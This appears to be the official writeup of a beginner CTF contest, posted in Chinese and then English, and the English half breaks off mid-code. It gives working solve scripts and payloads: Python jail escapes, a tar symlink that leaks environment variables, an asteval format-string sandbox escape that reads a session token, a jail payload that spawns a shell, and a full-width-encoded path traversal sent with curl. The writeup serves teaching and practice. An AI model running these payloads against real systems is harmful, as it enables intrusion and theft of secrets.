xzhiyouu's Blog

THJCC 2026 Summer — Official Writeup (zh-TW)

xzhiyouu62 — 2026-08-20T00:00:00.000Z

Before all

雖然這是辦給新手的比賽，但現在 AI/LLM 發展實在是太快了，也就導致許多題目很多參賽者都沒看就直接給 AI 做，我還是希望有能力的各位可以動手解解看XD，希望這次在 THJCC 出的題目大家可以喜歡~

Welcome

solve: 149/315

好像有人反映這題出的不太好，作為簽到題我覺得難度應該沒有很難，如果直接丟給 AI 的話八成會卡一陣子。
題目只給你一個 gif，我們知道 gif 是多張圖片連續播放，形成無限循環的動態短片，所以到網路上 google 一下不難找到一些 gif 分解的網站，隨便找一個都可以，然後可以得到 https://welcome.xzhiyouu.idv.tw;pass_code:NT9C-S8DP-D85B-Z8H6，進到網站裡把 passcode 複製貼上就可以拿到 https://pastebin.com/DUxM02Gp ，進去就有flag了。

Misc

67jail

solve: 124/315

題目檔案如下

#!/usr/bin/env python3
import unicodedata
banned = {"print": print, "open": open, "chr": chr}

s = input(">> ")

if len(s) != 6767:
    exit("wrong length :(")

if any(c in s for c in "'\"_`\\#"):
    exit("that's not good :(")

if any(c.isascii() and c.isalnum() for c in s):
    exit("no no no!!!")

if s.count(";") > 1:
    exit("too many semicolons!")

for c in s:
    if c.isidentifier() and unicodedata.normalize("NFKC", c) == c:
        exit("bad:(((")

exec(s, {"__builtins__": banned}, {})

給了一個允許名單(我變數打成banned)，我們能用的就是print、open、chr，接著有五個 if 檢查：

輸入長度必須為 6767
輸入不能出現任何 '、"、_、\、# 中任一者
輸入內不能有 ASCII 英文字母和數字
分號最多一個
輸入中不能出現合法且經 NFKC 正規化後不變的 Python 識別符字元

先看第五點檢查，我們要找到NFKC 後不變的字元，不難想到可以用全形繞過。

>>> 'ｐ'.isidentifier()
True
>>> unicodedata.normalize("NFKC", 'ｐ') == 'ｐ'
False

接著看第三點，輸入中不能有 ASCII 英文字母和數字，可以想到在 Python 裡面 True 就是 1，所以可以用 ()==() 、[]==[]、{}=={} 代表 1，以上三種都可以使用。

那要怎麼造出其他數字呢？我們利用 Python 的特性：

ｔ=()==() # t = 1

接著用 << 可以造出二次方，一樣用 t 當變數，例如：

ｔ<<ｔ            # 2
ｔ<<ｔ<<ｔ        # 4
ｔ<<ｔ<<ｔ<<ｔ    # 8

以此類推，結合加法就可以造出任意數字。我們的目標是組出 print(open('/flag').read())，因此可以寫個簡單的腳本生 payload，把以上資訊結合後，補空白到長度 6767 即可。

payload.py

#!/usr/bin/env python3
def z(s):
    return ''.join(chr(ord(c) + 0xFEE0) if c.isalpha() else c for c in s)

t = z('t')

def num(n):
    r, i = [], 0
    while n:
        if n & 1:
            r.append('(' + '<<'.join([t] * (i + 1)) + ')')
        n >>= 1
        i += 1
    return '+'.join(r)

def ch(c):
    return z('chr') + '(' + num(ord(c)) + ')'

payload = t + '=()==();'
payload += z('print') + '('
payload += z('open') + '(' + '+'.join(ch(c) for c in '/flag') + ').' + z('read') + '())'
payload += ' ' * (6767 - len(payload))
print(payload)

另外表揚一下 R3X DJ 寫的很詳細XD

Time Machine

solve: 49/315

這題沒給 source，可以看到這是一個可以上傳 .zip / .tar / .tar.gz / .tgz / .tar.bz2 / .tar.xz 的系統，然後 Snapshot 把你上傳的所有東西打包成 snapshot.zip 下載。

題目有說後端是用 Python 的 shutil，原始碼在這 (source)。

shutil.unpack_archive() 會依副檔名查 _UNPACK_FORMATS，決定要交給誰處理：

_UNPACK_FORMATS = {
    'tar':   (['.tar'], _unpack_tarfile, [], "uncompressed tar file"),
    'zip':   (['.zip'], _unpack_zipfile, [], "ZIP file"),
}

也就是說 zip 走 _unpack_zipfile，tar 走 _unpack_tarfile，先看看 zip 他是怎麼寫的：

def _unpack_zipfile(filename, extract_dir):
    """Unpack zip `filename` to `extract_dir`"""
    import zipfile  # late import for breaking circular dependency

    if not zipfile.is_zipfile(filename):
        raise ReadError("%s is not a zip file" % filename)

    with zipfile.ZipFile(filename) as zip:
        zip._ignore_invalid_names = True
        zip.extractall(extract_dir)

tar 如下：

def _unpack_tarfile(filename, extract_dir, *, filter=None):
    """Unpack tar/tar.gz/tar.bz2/tar.xz `filename` to `extract_dir`"""
    import tarfile  # late import for breaking circular dependency
    try:
        tarobj = tarfile.open(filename)
    except tarfile.TarError:
        raise ReadError(
            "%s is not a compressed or uncompressed tar file" % filename)
    try:
        tarobj.extractall(extract_dir, filter=filter)
    finally:
        tarobj.close()

可以發現 _unpack_zipfile() 擋掉 / 開頭和 ..，而且都是 open(targetpath, 'wb') + copyfileobj 寫成普通檔案，接著看到 tar，會發現沒有任何名字檢查，而且filter=None，因此我們可以利用 tar 去 symlink 任何 file。

這題的 flag 在環境變數裡面，我們可以用簡單的 linux 指令就完成這題。

ln -s /proc/self/environ test.txt
tar -cf solve.tar test.txt

接著把 solve.tar 傳上去再 snapshot 下來就可以看到 flag 了。

SO EZ MISC

solve: 26/315

首先連上去看看，會發現是一個 calculator，隨便送一個非 UTF-8 看報錯：

printf '\xfe\n' | nc HOST PORT

結果：

calc> Traceback (most recent call last):
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 277, in parse
    out = ast.parse(text)
  File "/usr/local/lib/python3.13/ast.py", line 50, in parse
    return compile(source, filename, mode, flags,
                   _feature_version=feature_version, optimize=optimize)
UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 354, in eval
    node = self.parse(expr)
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 281, in parse
    self.raise_exception(None, exc=RuntimeError, expr=text)
    ~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 264, in raise_exception
    raise exc(self.error_msg)
RuntimeError

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/srv/server.py", line 130, in 
    main()
    ~~~~^^
  File "/srv/server.py", line 126, in main
    print(evaluate(interp, line), flush=True)
          ~~~~~~~~^^^^^^^^^^^^^^
  File "/srv/server.py", line 107, in evaluate
    result = interp(src, raise_errors=False)
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 344, in __call__
    return self.eval(expr, **kw)
           ~~~~~~~~~^^^^^^^^^^^^
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 363, in eval
    print(errmsg, file=self.err_writer)
    ~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed

總之可以發現他是 Python 的 asteval，然後 Python 版本是 3.13，去翻一下原始碼(source)，然後發現 asteval 這個 lib 有一個 CVE，重點在最後：

def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
    "formatting used in f-strings"
    val = self.run(node.value)
    fstring_converters = {115: str, 114: repr, 97: ascii}
    if node.conversion in fstring_converters:
        val = fstring_converters[node.conversion](val)
    fmt = '{__fstring__}'
    if node.format_spec is not None:
        fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
    return safe_format(fmt, self.raise_exception, node, __fstring__=val)

根據題目說 The bug has no patch，所以直接照 advisory 的 PoC 打是不會過的，因為那份 PoC 在 1.0.6 就被擋掉了，而目前題目跑的是 1.0.9。去比對一下現在的 on_formattedvalue，會發現最後一行被換掉了：

# 1.0.6
return fmt.format(__fstring__=val)

# 1.0.9
return safe_format(fmt, self.raise_exception, node, __fstring__=val)

1.0.9 只是把原本 fmt.format 改成自己的 safe_format，format_spec 還是先被 self.run() 求值成字串，再用 f-string 字串串接拼回模板裡。

那 SafeFormatter 到底擋了什麼？我們回原始碼繼續看：

class SafeFormatter(Formatter):
    def __init__(self, raise_exc, node):
        self.raise_exc = raise_exc
        self.node = node
        super().__init__()

    def get_field(self, field_name, args, kwargs):
        first, rest = formatter_field_name_split(field_name)
        obj = self.get_value(first, args, kwargs)
        for is_attr, i in rest:
            if is_attr:
                obj = safe_getattr(obj, i, self.raise_exc, self.node)
            else:
                obj = obj[i]
        return obj, first

跟去看 safe_getattr：

def safe_getattr(obj, attr, raise_exc, node, allow_unsafe_modules=False):
    """safe version of getattr"""
    unsafe = (attr in UNSAFE_ATTRS or
            (attr.startswith('__') and attr.endswith('__')))
    if not unsafe:
        for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
            unsafe = (isinstance(obj, dtype) or obj is dtype) and attr in attrlist
            if unsafe:
                break
    if not unsafe and not allow_unsafe_modules:
        for mod in UNSAFE_MODULES:
            unsafe = obj is mod or getattr(obj, attr) is mod
            if unsafe:
                break
    if unsafe:
        msg = f"no safe attribute '{attr}' for {repr(obj)}"
        raise_exc(node, exc=AttributeError, msg=msg)
    else:
        return getattr(obj, attr, None)

發現他只擋了 __，但任意物件走訪還能進行，連上題目看看：

calc> WB
Workbook(name='Q3-Financials', sheets={'summary': Sheet(title='Summary', owner=User(name='guest', role='viewer', session=Session(id='sess-0000', token=)), cells={'A1': 42, 'A2': 1337}), 'audit': Sheet(title='Audit Trail', owner=User(name='auditor', role='root', session=Session(id='sess-c0ffee', token=)), cells={'A1': 0})})

我們的目標是拿到 WB.sheets["audit"].owner.session.token.value，送過去後發現 error: banned character '['，我們不難想到可以用 chr() 去繞過，payload 構造大概長這樣 f"{WB:SPEC}"，其中 SPEC 為 '}{__fstring__.sheets[audit].owner.session.token.value'，最後拼起來得到 {__fstring__:}{__fstring__.sheets[audit].owner.session.token.value}，得最終 payload f"{WB:{'}{__fstring__.sheets[audit].owner.session.token.value'}}"，一些被 ban 的字元轉 chr()，得到f"{WB:{"}{"+chr(95)*2+"fstring"+chr(95)*2+".sheets"+chr(91)+"audit"+chr(93)+".owner.session.token.value"}}"

CTFxck

solve: 14/315

也是一題 jail 題型，題目給了以下資訊：

server 跑的是 ctfuck interpreter
送一段 CTFuck 程式過去，最後一行 EOF
它印出來的東西 server 會 exec()

關於 CTFuck 可以參考這裡：https://esolangs.org/wiki/CTFuck

題目我有設定輸入長度不能超過 110，也就是說 wiki 上面的例子沒啥參考性，這裡我有兩個選擇，第一是 breakpoint()，第二是 exec(input())，這樣問題就變成怎麼用最少的 CTFuck 字元印出 12～13 個 byte？

先看 wiki 的寫法。印一個 byte 的直覺做法是 push 8 個 bit，再一個一個走訪：

01001000
.$.$.$.$.$.$.$.$

8 + 1 + 16 = 25 個字元才印一個 byte，這樣沒辦法把 payload 壓到 110 以下，所以我們應該回去看 interpreter，有一點可以注意一下，queue 空的時候執行 $ . : [a|b]，整個程式就結束，所以不用一個一個 bit 去走訪，直接把整個 payload 的 bit 全部 push 進 queue，然後排乾就可以，大概長這樣：


.$[2|2]

. 印 front 但不會 pop，所以要接 $。[2|2] 不管 0 還 1 都跳回第二行，無限迴圈，queue 空了就自己停。

solve script

#!/usr/bin/env python3
from pwn import *

def compile(payload):
    bits = ""
    for c in payload:
        for i in range(8):
            bits += str(c >> i & 1)
    return bits.rstrip("0") + "\n.$[2|2]"

src = compile(b"exec(input())")

io = remote(HOST, PORT)
io.sendlineafter(b">>> ", src.encode() + b"\nEOF")
io.sendline(b"import os;os.system('/bin/sh')")
io.interactive()

Shifting…v2?

solve: 3/315

上次的 writeup: https://hackmd.io/@xzhiyouu/THJCC-2026 基本上是一樣的做法，之後可以得到一個 pastebin 連結 https://pastebin.com/D15r3g ，很多人在這裡就卡關了，如果自己創一個 pastebin 看看的話，會發現其實連結後面的 code 應該要有八個字元，所以寫個 script 去爆破一下就好，最後可以得到 https://pastebin.com/D15r3grG ，打開就是 flag。

Web

SimpleNotes

solve: 21/315

Web 黑箱題，進去之後會發現是一個 note app，目標是讀 /flag，所以很明顯是 path traversal，這邊直接用原始碼解釋：

NoteController.java

package tw.thjcc.simplenotes;

import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.File;
import java.io.IOException;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

@RestController
public class NoteController {

    private static final File NOTE_DIR = new File("/app/notes");

    @GetMapping(value = "/api/notes", produces = MediaType.APPLICATION_JSON_VALUE)
    public List list() {
        File[] files = NOTE_DIR.listFiles(File::isFile);
        if (files == null) {
            return Collections.emptyList();
        }
        List names = new ArrayList<>();
        for (File f : files) {
            names.add(f.getName());
        }
        Collections.sort(names);
        return names;
    }

    @GetMapping(value = "/api/read", produces = MediaType.TEXT_PLAIN_VALUE + ";charset=UTF-8")
    public ResponseEntity read(@RequestParam("f") String f) throws IOException {
        String name = URLDecoder.decode(f, StandardCharsets.UTF_8);

        File target = new File(NOTE_DIR, name);
        if (!target.isFile()) {
            return ResponseEntity.status(404).body("note not found: " + name);
        }

        byte[] data = Files.readAllBytes(target.toPath());
        return ResponseEntity.ok(new String(data, StandardCharsets.UTF_8));
    }
}

PathGuardFilter.java

package tw.thjcc.simplenotes;

import jakarta.servlet.Filter;
import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.regex.Pattern;

public class PathGuardFilter implements Filter {

    private static final Pattern[] RULES = {
            Pattern.compile("\\.\\."),
            Pattern.compile("(?i)%2e"),
            Pattern.compile("(?i)%2f"),
            Pattern.compile("(?i)%5c"),
            Pattern.compile("\\\\"),
            Pattern.compile("^/"),
            Pattern.compile("\\x00")
    };

    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
            throws IOException, ServletException {

        HttpServletRequest request = (HttpServletRequest) req;

        if (rejected(request.getQueryString())) {
            block((HttpServletResponse) res);
            return;
        }
        for (String[] values : request.getParameterMap().values()) {
            for (String value : values) {
                if (rejected(value)) {
                    block((HttpServletResponse) res);
                    return;
                }
            }
        }

        chain.doFilter(req, res);
    }

    private boolean rejected(String input) {
        if (input == null || input.isEmpty()) {
            return false;
        }
        for (Pattern rule : RULES) {
            if (rule.matcher(input).find()) {
                return true;
            }
        }
        return false;
    }

    private void block(HttpServletResponse response) throws IOException {
        response.setStatus(HttpServletResponse.SC_FORBIDDEN);
        response.setContentType("text/plain;charset=UTF-8");
        response.setCharacterEncoding(StandardCharsets.UTF_8.name());
        response.getWriter().write("u are blocked XD");
    }

    @Configuration
    public static class Registration {
        @Bean
        public FilterRegistrationBean pathGuard() {
            FilterRegistrationBean bean = new FilterRegistrationBean<>();
            bean.setFilter(new PathGuardFilter());
            bean.addUrlPatterns("/api/*");
            bean.setOrder(1);
            return bean;
        }
    }
}

我們仔細看看 NoteController.java 第 39 行：

String name = URLDecoder.decode(f, StandardCharsets.UTF_8);

filter 檢查的是 Tomcat 解完的參數值，controller 拿到之後又自己解了一次，兩邊看到的字串其實不一樣。所以只要找一個 filter 的 regex 看不出來是 ../、但 URLDecoder 解得出來的寫法就 ok。

翻一下 JDK 17 的 URLDecoder.decode()，處理 % 的迴圈長這樣(source)：

while ( ((i+2) < numChars) && (c=='%')) {
    int v = Integer.parseInt(s, i + 1, i + 3, 16);
    if (v < 0)
        throw new IllegalArgumentException(...);
    bytes[pos++] = (byte) v;
    i += 3;
    if (i < numChars)
        c = s.charAt(i);
}

ps. 這題用的是舊版，新的已經修掉了(link)

重點是 Integer.parseInt(s, i+1, i+3, 16)，他用 Character.digit()，去翻 javadoc會發現他收的是 Unicode 的十進位數字跟拉丁字母，不是只有 ASCII，比如說：

Character.digit('２', 16) == 2      // U+FF12
Character.digit('ｅ', 16) == 14     // U+FF45

所以 URLDecoder.decode("%２ｅ") 會解成 .，而 payload 就是把 hex 換成全形，% 要留半形，像這樣：

%２ｅ%２ｅ%２ｆ%２ｅ%２ｅ%２ｆflag.txt

打 api:

curl 'http://chal.thjcc.org:12024/api/read?f=%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86flag.txt'

這題的靈感是來自 black hat Asia 2026(資料)，某天在找資料的時候剛好看到的。

THJCC 2026 Summer — Official Writeup (en)

xzhiyouu62 — 2026-08-20T00:00:00.000Z

Before all

Although this competition was designed for beginners, AI/LLMs have been developing so quickly that many participants ended up feeding challenges directly to AI without even looking at them first. I still hope those who are capable can try solving them by themselves XD. Hope everyone enjoyed the challenges I made for THJCC this time~

Welcome

solve: 149/315

Apparently some people said this challenge wasn’t designed very well. As a sanity-check challenge, I don’t think it was supposed to be that difficult, although if you throw it directly at AI, it’ll probably get stuck for a while.

The challenge only gives you a GIF. We know that a GIF is made of multiple images played continuously to form an infinitely looping animation, so it’s not hard to Google for a website that can split GIF frames. Just use any one of them, and you’ll get:

https://welcome.xzhiyouu.idv.tw;pass_code:NT9C-S8DP-D85B-Z8H6

Open the website, copy and paste the passcode, and you’ll get:

https://pastebin.com/DUxM02Gp

Open it and the flag is there.

Misc

67jail

solve: 124/315

The challenge file is as follows:

#!/usr/bin/env python3
import unicodedata
banned = {"print": print, "open": open, "chr": chr}

s = input(">> ")

if len(s) != 6767:
    exit("wrong length :(")

if any(c in s for c in "'\"_`\\#"):
    exit("that's not good :(")

if any(c.isascii() and c.isalnum() for c in s):
    exit("no no no!!!")

if s.count(";") > 1:
    exit("too many semicolons!")

for c in s:
    if c.isidentifier() and unicodedata.normalize("NFKC", c) == c:
        exit("bad:(((")

exec(s, {"__builtins__": banned}, {})

It gives us an allowlist (I accidentally named the variable banned). The only built-ins we can use are print, open, and chr. Then there are five checks:

The input length must be exactly 6767.
The input must not contain any of ', ", _, \, or #.
The input must not contain ASCII letters or digits.
At most one semicolon is allowed.
The input must not contain any valid Python identifier character that remains unchanged after NFKC normalization.

Let’s first look at the fifth check. We need characters that change after NFKC normalization, so full-width characters are an obvious way to bypass it.

>>> 'ｐ'.isidentifier()
True

>>> unicodedata.normalize("NFKC", 'ｐ') == 'ｐ'
False

Next, look at the third check. The input cannot contain ASCII letters or digits. In Python, True is equal to 1, so expressions such as ()==(), []==[], and {}=={} can all represent 1.

Then how do we construct other numbers? We can use Python’s bit-shift behavior:

ｔ=()==() # t = 1

Using <<, we can construct powers of two. For example, using t as the variable:

ｔ<<ｔ            # 2
ｔ<<ｔ<<ｔ        # 4
ｔ<<ｔ<<ｔ<<ｔ    # 8

And so on. By combining these with addition, we can construct arbitrary integers.

Our goal is to build:

print(open('/flag').read())

So we can write a simple script to generate the payload. After combining everything above, we just pad it with spaces until the total length reaches 6767.

payload.py

#!/usr/bin/env python3
def z(s):
    return ''.join(chr(ord(c) + 0xFEE0) if c.isalpha() else c for c in s)

t = z('t')

def num(n):
    r, i = [], 0
    while n:
        if n & 1:
            r.append('(' + '<<'.join([t] * (i + 1)) + ')')
        n >>= 1
        i += 1
    return '+'.join(r)

def ch(c):
    return z('chr') + '(' + num(ord(c)) + ')'

payload = t + '=()==();'
payload += z('print') + '('
payload += z('open') + '(' + '+'.join(ch(c) for c in '/flag') + ').' + z('read') + '())'
payload += ' ' * (6767 - len(payload))
print(payload)

Also, shoutout to R3X DJ for writing a very detailed writeup XD.

Time Machine

solve: 49/315

This challenge does not provide source code. We can see that the system allows uploading .zip, .tar, .tar.gz, .tgz, .tar.bz2, and .tar.xz files. The Snapshot feature then packages everything you uploaded into a snapshot.zip for download.

The challenge tells us that the backend uses Python’s shutil. The source code is here:

source

shutil.unpack_archive() checks _UNPACK_FORMATS based on the file extension and decides which unpacking function to use:

_UNPACK_FORMATS = {
    'tar':   (['.tar'], _unpack_tarfile, [], "uncompressed tar file"),
    'zip':   (['.zip'], _unpack_zipfile, [], "ZIP file"),
}

So ZIP files go through _unpack_zipfile, while TAR files go through _unpack_tarfile.

Let’s first look at the ZIP implementation:

def _unpack_zipfile(filename, extract_dir):
    """Unpack zip `filename` to `extract_dir`"""
    import zipfile  # late import for breaking circular dependency

    if not zipfile.is_zipfile(filename):
        raise ReadError("%s is not a zip file" % filename)

    with zipfile.ZipFile(filename) as zip:
        zip._ignore_invalid_names = True
        zip.extractall(extract_dir)

The TAR implementation is:

def _unpack_tarfile(filename, extract_dir, *, filter=None):
    """Unpack tar/tar.gz/tar.bz2/tar.xz `filename` to `extract_dir`"""
    import tarfile  # late import for breaking circular dependency
    try:
        tarobj = tarfile.open(filename)
    except tarfile.TarError:
        raise ReadError(
            "%s is not a compressed or uncompressed tar file" % filename)
    try:
        tarobj.extractall(extract_dir, filter=filter)
    finally:
        tarobj.close()

We can see that _unpack_zipfile() prevents paths beginning with / and paths containing ... It also writes entries as regular files using open(targetpath, 'wb') together with copyfileobj.

However, TAR extraction performs no filename validation, and filter=None, which means we can use a TAR archive to create symlinks to arbitrary files.

The flag for this challenge is stored in an environment variable, so we can solve the challenge with two simple Linux commands:

ln -s /proc/self/environ test.txt
tar -cf solve.tar test.txt

Then upload solve.tar and download the generated snapshot. The flag will be visible inside.

SO EZ MISC

solve: 26/315

First connect to the service. It looks like a calculator. Send some non-UTF-8 input to trigger an error:

printf '\xfe\n' | nc HOST PORT

Result:

calc> Traceback (most recent call last):
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 277, in parse
    out = ast.parse(text)
  File "/usr/local/lib/python3.13/ast.py", line 50, in parse
    return compile(source, filename, mode, flags,
                   _feature_version=feature_version, optimize=optimize)
UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 354, in eval
    node = self.parse(expr)
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 281, in parse
    self.raise_exception(None, exc=RuntimeError, expr=text)
    ~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 264, in raise_exception
    raise exc(self.error_msg)
RuntimeError

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/srv/server.py", line 130, in 
    main()
    ~~~~^^
  File "/srv/server.py", line 126, in main
    print(evaluate(interp, line), flush=True)
          ~~~~~~~~^^^^^^^^^^^^^^
  File "/srv/server.py", line 107, in evaluate
    result = interp(src, raise_errors=False)
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 344, in __call__
    return self.eval(expr, **kw)
           ~~~~~~~~~^^^^^^^^^^^^
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 363, in eval
    print(errmsg, file=self.err_writer)
    ~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed

Anyway, from this we can tell that the service is using Python’s asteval, and that the Python version is 3.13.

If we look through the source code:

source

we find that asteval has a CVE:

CVE / advisory

The important part is near the end:

def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
    "formatting used in f-strings"
    val = self.run(node.value)
    fstring_converters = {115: str, 114: repr, 97: ascii}
    if node.conversion in fstring_converters:
        val = fstring_converters[node.conversion](val)
    fmt = '{__fstring__}'
    if node.format_spec is not None:
        fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
    return safe_format(fmt, self.raise_exception, node, __fstring__=val)

According to the challenge description, The bug has no patch, so directly using the PoC from the advisory will not work, because that PoC was already blocked in version 1.0.6, while the challenge is running version 1.0.9.

Comparing the current implementation of on_formattedvalue, we can see that only the last line changed:

# 1.0.6
return fmt.format(__fstring__=val)

# 1.0.9
return safe_format(fmt, self.raise_exception, node, __fstring__=val)

Version 1.0.9 simply replaced fmt.format with its own safe_format. However, format_spec is still first evaluated into a string using self.run(), and that string is then concatenated back into the f-string format template.

So what exactly does SafeFormatter block?

Let’s continue reading the source:

class SafeFormatter(Formatter):
    def __init__(self, raise_exc, node):
        self.raise_exc = raise_exc
        self.node = node
        super().__init__()

    def get_field(self, field_name, args, kwargs):
        first, rest = formatter_field_name_split(field_name)
        obj = self.get_value(first, args, kwargs)
        for is_attr, i in rest:
            if is_attr:
                obj = safe_getattr(obj, i, self.raise_exc, self.node)
            else:
                obj = obj[i]
        return obj, first

Then follow safe_getattr:

def safe_getattr(obj, attr, raise_exc, node, allow_unsafe_modules=False):
    """safe version of getattr"""
    unsafe = (attr in UNSAFE_ATTRS or
            (attr.startswith('__') and attr.endswith('__')))
    if not unsafe:
        for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
            unsafe = (isinstance(obj, dtype) or obj is dtype) and attr in attrlist
            if unsafe:
                break
    if not unsafe and not allow_unsafe_modules:
        for mod in UNSAFE_MODULES:
            unsafe = obj is mod or getattr(obj, attr) is mod
            if unsafe:
                break
    if unsafe:
        msg = f"no safe attribute '{attr}' for {repr(obj)}"
        raise_exc(node, exc=AttributeError, msg=msg)
    else:
        return getattr(obj, attr, None)

We can see that it mainly blocks __ attributes, but arbitrary object traversal is still possible.

Connect to the challenge:

calc> WB
Workbook(name='Q3-Financials', sheets={'summary': Sheet(title='Summary', owner=User(name='guest', role='viewer', session=Session(id='sess-0000', token=)), cells={'A1': 42, 'A2': 1337}), 'audit': Sheet(title='Audit Trail', owner=User(name='auditor', role='root', session=Session(id='sess-c0ffee', token=)), cells={'A1': 0})})

Our target is:

WB.sheets["audit"].owner.session.token.value

If we send it directly, we get:

error: banned character '['

An obvious bypass is to construct banned characters using chr().

The payload structure is roughly:

f"{WB:SPEC}"

where SPEC is:

'}{__fstring__.sheets[audit].owner.session.token.value'

After formatting, this becomes:

{__fstring__:}{__fstring__.sheets[audit].owner.session.token.value}

So the final payload is:

f"{WB:{'}{__fstring__.sheets[audit].owner.session.token.value'}}"

Then replace some banned characters with chr():

f"{WB:{"}{"+chr(95)*2+"fstring"+chr(95)*2+".sheets"+chr(91)+"audit"+chr(93)+".owner.session.token.value"}}"

CTFxck

solve: 14/315

This is another jail-style challenge. The challenge gives us the following information:

The server is running a CTFuck interpreter.
We send a CTFuck program, followed by EOF on the last line.
Whatever the program prints is then passed to exec() by the server.

For information about CTFuck, see:

https://esolangs.org/wiki/CTFuck

I set the maximum input length to 110 characters, which means the examples on the wiki aren’t very useful.

There are two obvious payload choices:

breakpoint()
exec(input())

So the problem becomes: how do we print 12–13 bytes using as few CTFuck characters as possible?

Let’s first look at the approach shown on the wiki.

The intuitive way to print one byte is to push its eight bits, then traverse them one by one:

01001000
.$.$.$.$.$.$.$.$

That takes:

8 + 1 + 16 = 25 characters

just to print one byte, so there is no way to fit the payload under 110 characters.

Instead, we should inspect the interpreter:

https://github.com/pro465/ctfuck/blob/9f343df145455f3c2604bbb79789d0b3aa32c601/src/main.rs

One important detail is that when the queue is empty, executing $, ., :, or [a|b] terminates the whole program.

So we do not need to traverse every bit manually. We can push all bits of the payload into the queue first, then drain the queue:


.$[2|2]

. prints the front item but does not pop it, so it must be followed by $.

[2|2] jumps back to line 2 regardless of whether the current bit is 0 or 1, creating an infinite loop. Once the queue becomes empty, the interpreter automatically terminates.

solve script

#!/usr/bin/env python3
from pwn import *

def compile(payload):
    bits = ""
    for c in payload:
        for i in range(8):
            bits += str(c >> i & 1)
    return bits.rstrip("0") + "\n.$[2|2]"

src = compile(b"exec(input())")

io = remote(HOST, PORT)
io.sendlineafter(b">>> ", src.encode() + b"\nEOF")
io.sendline(b"import os;os.system('/bin/sh')")
io.interactive()

Shifting…v2?

solve: 3/315

Previous writeup:

https://hackmd.io/@xzhiyouu/THJCC-2026

The approach is basically the same as before. Eventually, we get a Pastebin URL:

https://pastebin.com/D15r3g

A lot of people got stuck here.

If you create your own Pastebin and check the URL format, you’ll notice that the code at the end should actually contain eight characters.

So we just write a script to brute-force the missing character.

Eventually, we get:

https://pastebin.com/D15r3grG

Open it, and the flag is there.

Web

SimpleNotes

solve: 21/315

This is a black-box web challenge. After opening the site, we can see that it’s a note-taking app.

The goal is to read /flag, so path traversal is obviously the intended direction.

I’ll explain it directly using the source code.

NoteController.java

package tw.thjcc.simplenotes;

import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.File;
import java.io.IOException;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

@RestController
public class NoteController {

    private static final File NOTE_DIR = new File("/app/notes");

    @GetMapping(value = "/api/notes", produces = MediaType.APPLICATION_JSON_VALUE)
    public List list() {
        File[] files = NOTE_DIR.listFiles(File::isFile);
        if (files == null) {
            return Collections.emptyList();
        }

        List names = new ArrayList<>();
        for (File f : files) {
            names.add(f.getName());
        }

        Collections.sort(names);
        return names;
    }

    @GetMapping(value = "/api/read", produces = MediaType.TEXT_PLAIN_VALUE + ";charset=UTF-8")
    public ResponseEntity read(@RequestParam("f") String f) throws IOException {
        String name = URLDecoder.decode(f, StandardCharsets.UTF_8);

        File target = new File(NOTE_DIR, name);
        if (!target.isFile()) {
            return ResponseEntity.status(404).body("note not found: " + name);
        }

        byte[] data = Files.readAllBytes(target.toPath());
        return ResponseEntity.ok(new String(data, StandardCharsets.UTF_8));
    }
}

PathGuardFilter.java

package tw.thjcc.simplenotes;

